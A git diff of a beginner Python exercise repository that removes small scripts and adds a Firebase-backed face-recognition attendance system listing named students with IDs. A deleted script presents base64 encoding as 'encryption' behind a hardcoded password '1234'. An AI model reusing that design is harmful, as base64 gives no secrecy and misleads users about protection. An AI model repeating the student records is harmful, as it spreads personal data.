egg_x2 < catcher_x2 and catcher_y2 - egg_y2 < 40: - eggs.remove(egg) - c.delete(egg) - increase_score(egg_score) - win.after(100,catch_check) - -def increase_score(points): - global score , egg_speed , egg_interval - score += points - egg_speed = int(egg_speed * difficulty_factor) - egg_interval = int(egg_interval * difficulty_factor) - c.itemconfigure(score_text , text='Score : ' + str(score)) - -def move_left(event): - (x1,y1,x2,y2) = c.coords(catcher) - if x1 > 0: - c.move(catcher,-20,0) - -def move_right(event): - (x1,y1,x2,y2) = c.coords(catcher) - if x2 < canvas_width: - c.move(catcher,20,0) - -c.bind('' , move_left) -c.bind('' , move_right) -c.focus_set() - -win.after(1000,create_eggs) -win.after(1000,move_eggs) -win.after(1000,catch_check) - -win.mainloop() diff --git a/Add Code Here/PYTHON/encrypt.py b/Add Code Here/PYTHON/encrypt.py deleted file mode 100644 index d912fef4336..00000000000 --- a/Add Code Here/PYTHON/encrypt.py +++ /dev/null @@ -1,92 +0,0 @@ -from tkinter import * -from tkinter import messagebox -import base64 -import os - - -def encrypt(): - password = code.get() - - if(password=="1234"): - screen1 = Toplevel(screen) - screen1.title("Encryption") - screen1.geometry("400x200") - - screen1.configure(bg= "#ed3833") - - message = text1.get(1.0,END) - encode_message = message.encode("ascii") - base64_bytes=base64.b64encode(encode_message) - encrypt = base64_bytes.decode("ascii") - - Label(screen1,text="ENCRYPT", font = "arial", fg="white", bg = "#ed3833").place(x=10,y=0) - text2 = Text(screen1,font="Robote 10",bg="white",relief=GROOVE,wrap=WORD,bd=0) - text2.place(x=10,y=40,width=380,height=150) - - text2.insert(END, encrypt) - - elif password=="": - messagebox.showerror("encryption","Input Password") - - elif password !="1234": - messagebox.showerror("encryption","Wrong Password") - - -def decrypt(): - password = code.get() - - if(password=="1234"): - screen2 = Toplevel(screen) - screen2.title("Decryption") - screen2.geometry("400x200") - - screen2.configure(bg= "#00bd56") - - message = text1.get(1.0,END) - decode_message = message.encode("ascii") - base64_bytes=base64.b64decode(decode_message) - decrypt = base64_bytes.decode("ascii") - - Label(screen2,text="ENCRYPT", font = "arial", fg="white", bg = "#00bd56").place(x=10,y=0) - text2 = Text(screen2,font="Robote 10",bg="white",relief=GROOVE,wrap=WORD,bd=0) - text2.place(x=10,y=40,width=380,height=150) - - text2.insert(END, decrypt) - - elif password=="": - messagebox.showerror("encryption","Input Password") - - elif password !="1234": - messagebox.showerror("encryption","Wrong Password") - -def main_screen(): - - global screen - global code - global text1 - - screen = Tk() - screen.geometry("375x398") - screen.title("Encrypt Decrypt") - - def reset(): - code.set("") - text1.delete(1.0,END) - - lable1 = Label(text = "Enter text", fg = "black", font = ("calibri",11)).place(x = 10, y = 10) - text1 = Text(font = "Robote 12", bg = "white", relief=GROOVE, wrap=WORD, bd = 0) - text1.place(x=10, y=50,width=355,height=100) - - Label(text="Enter secret key ", fg = "black", font = ("calibri",11)).place(x = 10, y = 170) - - code = StringVar() - Entry(textvariable=code,width=19,bd=0,font=("arial",28),show = "*").place(x=10,y = 200) - - Button(text="ENCRYPT",height="2",width=23,bg="#ed2822", fg="white",bd=0, command = encrypt).place(x = 10, y = 250) - Button(text = "DECRYPT", height="2",width=23,bg="#00bd56",fg = "white", bd = 0, command = decrypt).place(x=200,y=250) - Button(text = "RESET", height="2",width=50,bg="#1089ff",fg = "white", bd = 0, command=reset ).place(x=10,y=300) - - - screen.mainloop() - -main_screen() \ No newline at end of file diff --git a/Add Code Here/PYTHON/evenodd.py b/Add Code Here/PYTHON/evenodd.py deleted file mode 100644 index f5a594f8590..00000000000 --- a/Add Code Here/PYTHON/evenodd.py +++ /dev/null @@ -1,7 +0,0 @@ -def even_odd(l): - even = [x for x in l if x%2==0] - odd = [x for x in l if x%2!=0] - return even, odd - -l = [23,10,46,324,54,43,76,67,99] -print(even_odd(l)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/exception handling.py b/Add Code Here/PYTHON/exception handling.py deleted file mode 100644 index 0f689207d86..00000000000 --- a/Add Code Here/PYTHON/exception handling.py +++ /dev/null @@ -1,19 +0,0 @@ -# Develop a Python program to understand working of exception handling. - - -# Exception handling example -try: - a = int(input("Enter a number: ")) - b = int(input("Enter another number: ")) - c = a/b - print(c) -except ZeroDivisionError: - print("Division by zero is not possible") -except ValueError: - print("Invalid input") -except Exception as e: - print(e) -else: - print("No exceptions") -finally: - print("This is finally block") \ No newline at end of file diff --git a/Add Code Here/PYTHON/face-attendance-system/AddDataToDatabase.py b/Add Code Here/PYTHON/face-attendance-system/AddDataToDatabase.py new file mode 100644 index 00000000000..14e2652fde5 --- /dev/null +++ b/Add Code Here/PYTHON/face-attendance-system/AddDataToDatabase.py @@ -0,0 +1,128 @@ +import firebase_admin +from firebase_admin import credentials +from firebase_admin import db + +# Load the Firebase service account key +cred = credentials.Certificate("C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//services.json") + +# Initialize the Firebase Admin SDK with the service account key and the database URL +firebase_admin.initialize_app(cred, { + 'databaseURL' : "https://face-attendace-system-ecbe7-default-rtdb.firebaseio.com/" +}) + +# Get a reference to the 'Students' node in the Firebase Realtime Database +ref = db.reference('Students') + +# Data to be added to the 'Students' node +data = { + "DS1913828" : { + "Name" : "Mohak Singhania", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance": 0, + "Standing": "G", + "Year": 2, + "Last_Attendance_Time": "2023-05-10 23:59:59" + }, + "DS1808679" : { + "Name" : "Vaishnavi Singh", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance": 0, + "Standing": "G", + "Year": 2, + "Last_Attendance_Time": "2023-05-10 23:59:59" + }, + "DS1910512" : { + "Name" : "Sudhir Patidar", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance":0, + "Standing": "G", + "Year":2, + "Last_Attendance_Time":"2023-05-10 23:59:59" + }, + "DS2200004" : { + "Name" : "Jay Singh", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance":0, + "Standing": "G", + "Year":2, + "Last_Attendance_Time":"2023-05-10 23:59:59" + }, + "DS2200069" : { + "Name" : "Prachi Khumbhkar", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance":0, + "Standing": "G", + "Year":2, + "Last_Attendance_Time":"2023-05-10 23:59:59" + }, + "DS1914364" : { + "Name" : "Neeraj Gupta", + "Major" : "MSC DSA", + "Starting_Year" : 2022, + "Total_Attendance":0, + "Standing": "G", + "Year":2, + "Last_Attendance_Time":"2023-05-10 23:59:59" + } +} + +# Loop through the data dictionary and set each student's information in the database +for key, value in data.items(): + ref.child(key).set(value) + +# Note: The code above sets the data for each student using their unique ID (e.g., "DS1913828") as the key. +# The data for each student will be stored under their respective keys in the 'Students' node in the database. +# Make sure to replace the existing data with actual data for each student. + +# The above code will write the following structure in the Firebase Realtime Database: +# - Students +# |- DS1913828 +# | |- Name: "Mohak Singhania" +# | |- Major: "MSC DSA" +# | |- Starting_Year: 2022 +# | |- Total_Attendance: 0 +# | |- Standing: "G" +# | |- Year: 2 +# | |- Last_Attendance_Time: "2023-05-10 23:59:59" +# | +# |- DS1808679 +# | |- Name: "Vaishnavi Singh" +# | |- Major: "MSC DSA" +# | |- Starting_Year: 2022 +# | |- Total_Attendance: 0 +# | |- Standing: "G" +# | |- Year: 2 +# | |- Last_Attendance_Time: "2023-05-10 23:59:59" +# | +# |- DS1910512 +# ... and so on for other students + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Add Code Here/PYTHON/face-attendance-system/EncodeGenerator.py b/Add Code Here/PYTHON/face-attendance-system/EncodeGenerator.py new file mode 100644 index 00000000000..85796c5ce7c --- /dev/null +++ b/Add Code Here/PYTHON/face-attendance-system/EncodeGenerator.py @@ -0,0 +1,75 @@ +import cv2 +import face_recognition +import pickle +import os +import firebase_admin +from firebase_admin import credentials +from firebase_admin import db +from firebase_admin import storage + +# Load the Firebase service account key and initialize Firebase Admin SDK with database and storage configuration +cred = credentials.Certificate("C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//services.json") +firebase_admin.initialize_app(cred, { + 'databaseURL': "https://face-attendace-system-ecbe7-default-rtdb.firebaseio.com/", + 'storageBucket': "face-attendace-system-ecbe7.appspot.com" +}) + +# Importing student images from the specified folder +folderPath = 'Images' +PathList = os.listdir(folderPath) +print(PathList) +imgList = [] +studentID = [] + +# Loop through the image files and load them into a list along with their corresponding student IDs +for path in PathList: + imgList.append(cv2.imread(os.path.join(folderPath, path))) + studentID.append(os.path.splitext(path)[0]) + + # Upload the image files to Firebase Storage + filename = f'{folderPath}/{path}' + bucket = storage.bucket() + blob = bucket.blob(filename) + blob.upload_from_filename(filename) + +print(studentID) + +# Function to find face encodings of images in a list +def findEncodings(imagesList): + encodeList = [] + for img in imagesList: + img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB) + encode = face_recognition.face_encodings(img)[0] + encodeList.append(encode) + return encodeList + +print("Encoding Started ...") + +# Call the function to find face encodings of the images +encodeListKnown = findEncodings(imgList) + +# Combine the list of face encodings with the list of student IDs for future reference +encodeListKnownWithID = [encodeListKnown, studentID] + +print("Encoding Complete") + +# Save the face encodings along with student IDs to a pickle file +file = open("EncodeFile.p", 'wb') +pickle.dump(encodeListKnownWithID, file) +file.close() +print("File Saved") + + + + + + + + + + + + + + + diff --git a/Add Code Here/PYTHON/face-attendance-system/Readme.md b/Add Code Here/PYTHON/face-attendance-system/Readme.md new file mode 100644 index 00000000000..3b28ef6ed22 --- /dev/null +++ b/Add Code Here/PYTHON/face-attendance-system/Readme.md @@ -0,0 +1,64 @@ +# Interactive Face Attendance System 📷 + +An interactive Python program that acts as a face attendance system using the webcam and Firebase integration. + +## Features ✨ + +- 📷 Real-time face recognition +- 📅 Automatic attendance marking +- 📝 Display student information +- 🔄 Dynamic mode selection +- 📊 Firebase integration for data storage +- ⚙️ Easy configuration and setup + +## IDE Used ✅ + +- Pycharm + + +## Prerequisites ✅ + +- Python 3.x +- Required libraries: `cv2`, `os`, `pickle`, `numpy`, `face_recognition`, `cvzone`, `datetime`, `firebase_admin`, `storage` +- For face_recognition , two libraries must be installed : `opencv-python` , `dlib` +- For `dlib` , install from `dlib package install` repo by + ```shell + pip3 install {copy path of dlib package file from dlib package install repo} + +## How to Run ▶️ + +1. Clone the repository: + ```shell + git clone https://github.com/your-username/interactive-face-attendance-system.git +2. Navigate to the project directory: + ```shell + cd interactive-face-attendance-system +3. Install the required libraries: + ```shell + pip install opencv-python opencv-python-headless face-recognition cvzone firebase-admin +4. Setup Firebase: + - Create a Firebase project at https://console.firebase.google.com/ + - Generate a new service account key in JSON format and save it as {path}/{from Firebase}.json. + - Replace 'databaseURL' and 'storageBucket' with your Firebase project details in the code. +5. Prepare the data: + - Create a Modes folder and place various mode images inside it (e.g., background.png, etc.). + - Create an EncodeFile.p containing face encodings and student IDs. +6. Run the program: + ```shell + python main.py + +## Usage 🎯 +- The program will open the webcam and display the background image with a mode selection. +- When a recognized face is detected, it will display loading text and fetch student information from Firebase. +- It will download the student image from Firebase Storage. +- It will update the student's attendance data and display it on the screen for a few seconds. +- The mode changes dynamically based on various stages during the attendance process. + +## Contributing 👥 +Contributions are welcome! If you have any ideas, suggestions, or bug reports, please open an issue or submit a pull request. + + +## Feel free to further customize the README.md file by adding more emojis, symbols, or any other formatting elements as desired. + +```shell +Please note that you should replace `your-username` in the repository URL with your actual GitHub username. Also, make sure to include the correct package names in the "Required libraries" section and update Firebase credentials as per your project details. diff --git a/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/1.png b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/1.png new file mode 100644 index 00000000000..55b5fa2fd7d Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/1.png differ diff --git a/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/2.png b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/2.png new file mode 100644 index 00000000000..535550001c6 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/2.png differ diff --git a/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/3.png b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/3.png new file mode 100644 index 00000000000..80757ae6499 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/3.png differ diff --git a/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/4.png b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/4.png new file mode 100644 index 00000000000..10e0a805cd6 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/Resources/Modes/4.png differ diff --git a/Add Code Here/PYTHON/face-attendance-system/Resources/background.png b/Add Code Here/PYTHON/face-attendance-system/Resources/background.png new file mode 100644 index 00000000000..c2cae10419d Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/Resources/background.png differ diff --git a/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp310-cp310-win_amd64.whl b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp310-cp310-win_amd64.whl new file mode 100644 index 00000000000..b5b9bca0bec Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp310-cp310-win_amd64.whl differ diff --git a/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp37-cp37m-win_amd64.whl b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp37-cp37m-win_amd64.whl new file mode 100644 index 00000000000..61752e12af0 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp37-cp37m-win_amd64.whl differ diff --git a/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp38-cp38-win_amd64.whl b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp38-cp38-win_amd64.whl new file mode 100644 index 00000000000..4db243509fc Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp38-cp38-win_amd64.whl differ diff --git a/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp39-cp39-win_amd64.whl b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp39-cp39-win_amd64.whl new file mode 100644 index 00000000000..468f411d0d1 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.22.99-cp39-cp39-win_amd64.whl differ diff --git a/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.24.1-cp311-cp311-win_amd64.whl b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.24.1-cp311-cp311-win_amd64.whl new file mode 100644 index 00000000000..68d294a9c86 Binary files /dev/null and b/Add Code Here/PYTHON/face-attendance-system/dlib package install/dlib-19.24.1-cp311-cp311-win_amd64.whl differ diff --git a/Add Code Here/PYTHON/face-attendance-system/main.py b/Add Code Here/PYTHON/face-attendance-system/main.py new file mode 100644 index 00000000000..1ab022001fe --- /dev/null +++ b/Add Code Here/PYTHON/face-attendance-system/main.py @@ -0,0 +1,149 @@ +import cv2 +import os +import pickle +import numpy as np +import face_recognition +import cvzone +from datetime import datetime +import firebase_admin +from firebase_admin import credentials +from firebase_admin import db +from firebase_admin import storage + +# Load the Firebase service account key and initialize Firebase Admin SDK with database and storage configuration +cred = credentials.Certificate("C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//services.json") +firebase_admin.initialize_app(cred, { + 'databaseURL': "https://face-attendace-system-ecbe7-default-rtdb.firebaseio.com/", + 'storageBucket': "face-attendace-system-ecbe7.appspot.com" +}) + +bucket = storage.bucket() + +# Open webcam +cap = cv2.VideoCapture(0) +cap.set(3, 640) +cap.set(4, 480) + +# Load the background image +img_background = cv2.imread('C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//Resources/background.png') + +# Importing the mode images into a list +folderModePath = 'C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//Resources//Modes' +modePathList = os.listdir(folderModePath) +imgmodeList = [] +for path in modePathList: + imgmodeList.append(cv2.imread(os.path.join(folderModePath, path))) + +# Load The Encoding File +print("Loading Encode File ...") +file = open('C://Users//Mohak//Desktop//NXtech-Python//NXTECH-Python-Task-Number-3//EncodeFile.p', 'rb') +encodeListKnownWithID = pickle.load(file) +file.close() +encodeListKnown, studentID = encodeListKnownWithID +print("Encode File loaded") + +modeType = 0 +counter = 0 +id = -1 +offset = 0 +imgStudent = [] + +while True: + success, img = cap.read() + + imgS = cv2.resize(img, (0, 0), None, 0.25, 0.25) + imgS = cv2.cvtColor(imgS, cv2.COLOR_BGR2RGB) + + faceCurFrame = face_recognition.face_locations(imgS) + encodeCurFrame = face_recognition.face_encodings(imgS, faceCurFrame) + + img_background[162:162 + 480, 55:55 + 640] = img + img_background[44:44 + 633, 808:808 + 414] = imgmodeList[modeType] + + if faceCurFrame: + for encoFace, faceLoc in zip(encodeCurFrame, faceCurFrame): + matches = face_recognition.compare_faces(encodeListKnown, encoFace) + faceDis = face_recognition.face_distance(encodeListKnown, encoFace) + + matchIndex = np.argmin(faceDis) + print('Match Index', matchIndex) + + if matches[matchIndex]: + y1, x2, y2, x1 = faceLoc + y1, x2, y2, x1 = y1 * 4, x2 * 4, y2 * 4, x1 * 4 + bbox = 55 + x1, 162 + y1, x2 - x1, y2 - y1 + imgbackground = cvzone.cornerRect(img_background, bbox, rt=0) + id = studentID[matchIndex] + if counter == 0: + cvzone.putTextRect(img_background, "Loading..", (275, 400)) + cv2.imshow("Face Attendance", img_background) + cv2.waitKey(1) + counter = 1 + modeType = 1 + + if counter != 0: + if counter == 1: + # Get The Data + studentInfo = db.reference(f'Students/{id}').get() + print(studentInfo) + # Get the Image from the storage + blob = bucket.get_blob(f'Images/{id}.png') + array = np.frombuffer(blob.download_as_string(), np.uint8) + imgStudent = cv2.imdecode(array, cv2.COLOR_BGRA2BGR) + # Update Data of Attendance + datetimeObject = datetime.strptime(studentInfo['Last_Attendance_Time'], + "%Y-%m-%d %H:%M:%S") + secondElapsed = (datetime.now() - datetimeObject).total_seconds() + print(secondElapsed) + if secondElapsed > 86400: + ref = db.reference(f'Students/{id}') + studentInfo['Total_Attendance'] += 1 + ref.child('Total_Attendance').set(studentInfo['Total_Attendance']) + ref.child('Last_Attendance_Time').set(datetime.now().strftime("%Y-%m-%d %H:%M:%S")) + else: + modeType = 3 + counter = 0 + img_background[44:44 + 633, 808:808 + 414] = imgmodeList[modeType] + + if modeType != 3: + if 20 < counter < 40: + modeType = 2 + + img_background[44:44 + 633, 808:808 + 414] = imgmodeList[modeType] + + if counter <= 20: + cv2.putText(img_background, str(studentInfo['Total_Attendance']), (861, 125), + cv2.FONT_HERSHEY_COMPLEX, 1, (255, 255, 255), 1) + + (w, h), _ = cv2.getTextSize(studentInfo['Name'], cv2.FONT_HERSHEY_COMPLEX, 1, 1) + offset = (414 - w) // 2 + cv2.putText(img_background, str(studentInfo['Name']), (808 + offset, 445), + cv2.FONT_HERSHEY_COMPLEX, 1, (50, 50, 50), 1) + + cv2.putText(img_background, str(studentInfo['Major']), (1006, 550), + cv2.FONT_HERSHEY_COMPLEX, 0.5, (255, 255, 255), 1) + cv2.putText(img_background, str(id), (1006, 493), + cv2.FONT_HERSHEY_COMPLEX, 0.5, (255, 255, 255), 1) + cv2.putText(img_background, str(studentInfo['Standing']), (910, 625), + cv2.FONT_HERSHEY_COMPLEX, 0.6, (100, 100, 100), 1) + cv2.putText(img_background, str(studentInfo['Year']), (1025, 625), + cv2.FONT_HERSHEY_COMPLEX, 0.6, (100, 100, 100), 1) + cv2.putText(img_background, str(studentInfo['Starting_Year']), (1125, 625), + cv2.FONT_HERSHEY_COMPLEX, 0.6, (100, 100, 100), 1) + + img_background[175:175 + 216, 909:909 + 216] = imgStudent + + counter += 1 + + if counter >= 40: + counter = 0 + modeType = 0 + studentInfo = [] + imgStudent = [] + img_background[44:44 + 633, 808:808 + 414] = imgmodeList[modeType] + else: + modeType = 0 + counter = 0 + + cv2.imshow("Face Attendance", img_background) + cv2.waitKey(1) diff --git a/Add Code Here/PYTHON/face_detection.py b/Add Code Here/PYTHON/face_detection.py deleted file mode 100644 index b2fc15639d0..00000000000 --- a/Add Code Here/PYTHON/face_detection.py +++ /dev/null @@ -1,23 +0,0 @@ -import cv2 - -# Create a CascadeClassifier Object -face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml") - -# Reading the image as it is -img = cv2.imread("photo.jpg") - -# Reading the image as gray scale image -gray_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY) - -# Search the co-ordintes of the image -faces = face_cascade.detectMultiScale(gray_img, scaleFactor = 1.05, minNeighbors=5) -for x,y,w,h in faces: - img = cv2.rectangle(img, (x,y), (x+w,y+h),(0,255,0),3) - -resized = cv2.resize(img, (int(img.shape[1]/7),int(img.shape[0]/7))) - -cv2.imshow("Gray", resized) - -cv2.waitKey(0) - -cv2.destroyAllWindows() \ No newline at end of file diff --git a/Add Code Here/PYTHON/fibbonacci.py b/Add Code Here/PYTHON/fibbonacci.py deleted file mode 100644 index 63623a55802..00000000000 --- a/Add Code Here/PYTHON/fibbonacci.py +++ /dev/null @@ -1,9 +0,0 @@ -a = int(input('Give amount: ')) - -def fib(n): - a, b = 0, 1 - for _ in range(n): - yield a - a, b = b, a + b - -print(list(fib(a))) \ No newline at end of file diff --git a/Add Code Here/PYTHON/game.py b/Add Code Here/PYTHON/game.py deleted file mode 100644 index dd75aca669c..00000000000 --- a/Add Code Here/PYTHON/game.py +++ /dev/null @@ -1,34 +0,0 @@ -import random -rand = random.randint(1,3) -print(rand) - -def game(a,b): - if (a==b): - print('The game is tie') - elif(a=='s'): - if (b=='w'): - print('Computer has won the game') - elif(b=='g'): - print('You have won the game') - elif(a=='w'): - if(b=='g'): - print('Computer has wonthe game') - elif(b=='s'): - print('You won the game') - elif(a=='g'): - if(b=='s'): - print('Computer has wonthe game') - elif(b=='w'): - print('You won the game') - - -if rand ==1: - comp='s' -elif(rand==2): - comp='w' -elif(rand == 3): - comp = 'g' - -you = input('Enter the choice among snake(s) or water(w) or gun(g)') -print(comp) -game(comp,you) \ No newline at end of file diff --git a/Add Code Here/PYTHON/hacking.py b/Add Code Here/PYTHON/hacking.py deleted file mode 100644 index 80ad54d205b..00000000000 --- a/Add Code Here/PYTHON/hacking.py +++ /dev/null @@ -1,28 +0,0 @@ -import time as t -print("Enter you passcode") -for z in range(0,10): - if(z==0): - t.sleep(1) - print("*",end="") - -print("\n") -print("Hacking NASA") -for i in range(0,6,1): - print(20*i,"% Loading...") - t.sleep(0.5) - -print("Extracting data..") -for x in range(1,21,1): - print(x*5,'% Extracting...') - t.sleep(0.25) - -print("Access denied...") -t.sleep(1) - -print("Access denied...") -t.sleep(1) - -print("Access granted...") -t.sleep(0.75) - -print("Hacked successfully..") diff --git a/Add Code Here/PYTHON/hangman.py b/Add Code Here/PYTHON/hangman.py index f2ceff93c34..cdf02978695 100644 --- a/Add Code Here/PYTHON/hangman.py +++ b/Add Code Here/PYTHON/hangman.py @@ -1,29 +1,39 @@ -import random -guess_list = [ -'samuel', -'activity', -'banana', -'school', -'python', -'programming', -'hangman', -] +# Author : Jatin Jindal +# Collaborators : None +# Problem Statement : Calculate sum or all fibonacchi numbers less than 4,000,000 -print('WELCOME TO MY HANGMAN GAME\n') -cc = random.choice(guess_list).upper() -guesses = len(cc)+4 -repw = ['_' for i in range(len(cc))] -while guesses > 0: - print(f'WORD: {" ".join(repw)}') - ug = input('Guess a letter:').upper() - for char in range(len(cc)): - if ug==cc[char]: - repw[char]=ug - if repw.count('_')==0: - print(f'WORD: {" ".join(repw)}') - break - print('Tries remain:',guesses-1,'\n') - guesses-=1 - - -print('\nYou WIN🎉\n') if repw.count('_')==0 else print('\nYou LOSE💔') \ No newline at end of file +def fibonachi(fib_dict, n): + ''' + Input -> + fib_dict : dictionary which maps a number to fibonacchi number + at the index equal to that number. + n : The index we want the fibonacchi number for + + Output -> Returns the dicitonary with all sequence values up to 'n'. + ''' + if n in fib_dict: + return fib_dict[n] + else: + ans = fibonachi(fib_dict, (n - 1)) + fibonachi(fib_dict, (n - 2)) + fib_dict[n] = ans + return ans + +def calculate_sum(fib_dict, upper=4000000): + ''' + Input -> + fib_dict : dictionary which maps a number to fibonacchi number + at the index equal to that number. + upper : the upper number till which we want the sum + + Output -> Returns the sum of all sequence values up to <= upper. + ''' + sum = 0 + i = 2 + while fibonachi(fib_dict, i) < upper: + if fibonachi(fib_dict, i) % 2 == 0: + sum += fibonachi(fib_dict, i) + i += 1 + return sum + +fib_dict = {1:1, 2:2} +print(calculate_sum(fib_dict)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/hcf.py b/Add Code Here/PYTHON/hcf.py deleted file mode 100644 index e27557a22cf..00000000000 --- a/Add Code Here/PYTHON/hcf.py +++ /dev/null @@ -1,18 +0,0 @@ -# Python program to find H.C.F of two numbers - -# define a function -def hcf_(x, y): - -# choose the smaller number - if x > y: - smaller = y - else: - smaller = x - for i in range(1, smaller+1): - if((x % i == 0) and (y % i == 0)): - hcf = i - return hcf - -num1,num2 = map(int, input().split()) - -print("The H.C.F. is", compute_hcf(num1, num2)) diff --git a/Add Code Here/PYTHON/healthy_programmer.py b/Add Code Here/PYTHON/healthy_programmer.py new file mode 100644 index 00000000000..8f14a7ae415 --- /dev/null +++ b/Add Code Here/PYTHON/healthy_programmer.py @@ -0,0 +1,94 @@ +#Exercise 7 +#Healthy Programmer +import os +os.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = "hide" + +from pygame import mixer +from time import sleep +import datetime +from threading import * +#9am - 5pm {8 hrs - 480 minutes} +#3.5 litres - 3500 ml (17.5 = 18 glasses) {26 mins} +#eye - 30 minutes +def getdate(): + return datetime.datetime.now() +def writefile(fname): + with open(fname,"at") as f: + s=input("\nEnter What have you done: ") + r=str(getdate()) + f.write('['+r+']') + f.write('\t'+s+'\n') + print("Data Stored Successfully") +class music_play(Thread): + def run(self): + sleep(3) + mixer.init() + mixer.music.load(r"C:\Users\Win10\Desktop\python\sound.mp3") + mixer.music.set_volume(0.7) + mixer.music.play() + print("\nIt's Eye Exercise Time") + try: + writefile("Eye_Exercise.txt") + except Exception as e: + print(e) + print("Press q to quit: ",end=" ") + query=input(" ") + if query=='q': + mixer.music.stop() + else: + print("Please select a valid option") +class music_play1(Thread): + def run(self): + sleep(60) + mixer.init() + mixer.music.load(r"C:\Users\Win10\Desktop\virtualenv\song.mp3") + mixer.music.set_volume(0.7) + mixer.music.play() + print("\nIt's Physical Exercise Time") + try: + writefile("Physical_Exercise.txt") + except Exception as e: + print(e) + print("Press q to quit: ",end=" ") + query=input(" ") + if query=='q': + mixer.music.stop() + else: + print("Please select a valid option") +class music_play2(Thread): + def run(self): + sleep(15) + mixer.init() + mixer.music.load(r"C:\Users\Win10\Desktop\virtualenv\song.mp3") + mixer.music.set_volume(0.7) + mixer.music.play() + print("\nIt's Drinking Time") + try: + writefile("Drinking _Water.txt") + except Exception as e: + print(e) + print("Press q to quit: ",end=" ") + query=input(" ") + if query=='q': + mixer.music.stop() + else: + print("Please select a valid option") +if __name__=="__main__": + print("Welcome to Healthy Programmer Alarm System") + while True: + now = datetime.datetime.now() + if now.hour>=12 and now.hour<=23: + print("Hi") + t1 = music_play2() + t2 = music_play() + t3 = music_play1() + t1.start() + sleep(0.2) + t2.start() + sleep(0.2) + t3.start() + t1.join() + t2.join() + t3.join() + + print("Good Bye, Have a nice and healthy life") \ No newline at end of file diff --git a/Add Code Here/PYTHON/hello.py b/Add Code Here/PYTHON/hello.py deleted file mode 100644 index 50cf358d737..00000000000 --- a/Add Code Here/PYTHON/hello.py +++ /dev/null @@ -1,6 +0,0 @@ - -def main(): - print('Hello World!!') - -if __name__ == '__main__': - main() \ No newline at end of file diff --git a/Add Code Here/PYTHON/image_filter_tool.py b/Add Code Here/PYTHON/image_filter_tool.py deleted file mode 100644 index f27eb61b72b..00000000000 --- a/Add Code Here/PYTHON/image_filter_tool.py +++ /dev/null @@ -1,880 +0,0 @@ -import ctypes -import os.path -from tkinter import * -from tkinter import filedialog, ttk -import cv2 as cv -import numpy as np -import scipy.signal -from matplotlib import image as mpimg -from matplotlib import pyplot as plt -from PIL import Image, ImageTk - -ctypes.windll.shcore.SetProcessDpiAwareness(True) -root = Tk() -ttk.Style().configure("TButton", justify=CENTER) - -"""----------------x-----Global Variable------x----------------""" - -gui_width = 1385 -gui_height = 595 -ip_file = "" -op_file = "" -original_img = None -modified_img = None -user_arg = None -popup = None -popup_input = None - -root.title(" Digital Image Processing Visualization Made By Prashant Singh") - -root.minsize(gui_width, gui_height) - -"""----------------x-----Global Variable------x----------------""" - - -def set_user_arg(): - global user_arg - user_arg = popup_input.get() - popup.destroy - popup.quit() - - -def open_popup_input(text): - global popup, popup_input - popup = Toplevel(root) - popup.resizable(False, False) - popup.title("User Input") - text_label = ttk.Label(popup, text=text, justify=LEFT) - text_label.pack(side=TOP, anchor=W, padx=15, pady=10) - popup_input = ttk.Entry(popup) - popup_input.pack(side=TOP, anchor=NW, fill=X, padx=15) - ttk.Button(popup, text="OK", command=set_user_arg).pack(pady=10) - popup.geometry(f"400x{104 + text_label.winfo_reqheight()}") - popup_input.focus() - - popup.mainloop() - - -def draw_before_canvas(): - global original_img, ip_file - original_img = Image.open(ip_file) - original_img = original_img.convert("RGB") - img = ImageTk.PhotoImage(original_img) - before_canvas.create_image( - 256, - 256, - image=img, - anchor="center", - ) - before_canvas.img = img - - -def draw_after_canvas(mimg): - global modified_img - - modified_img = 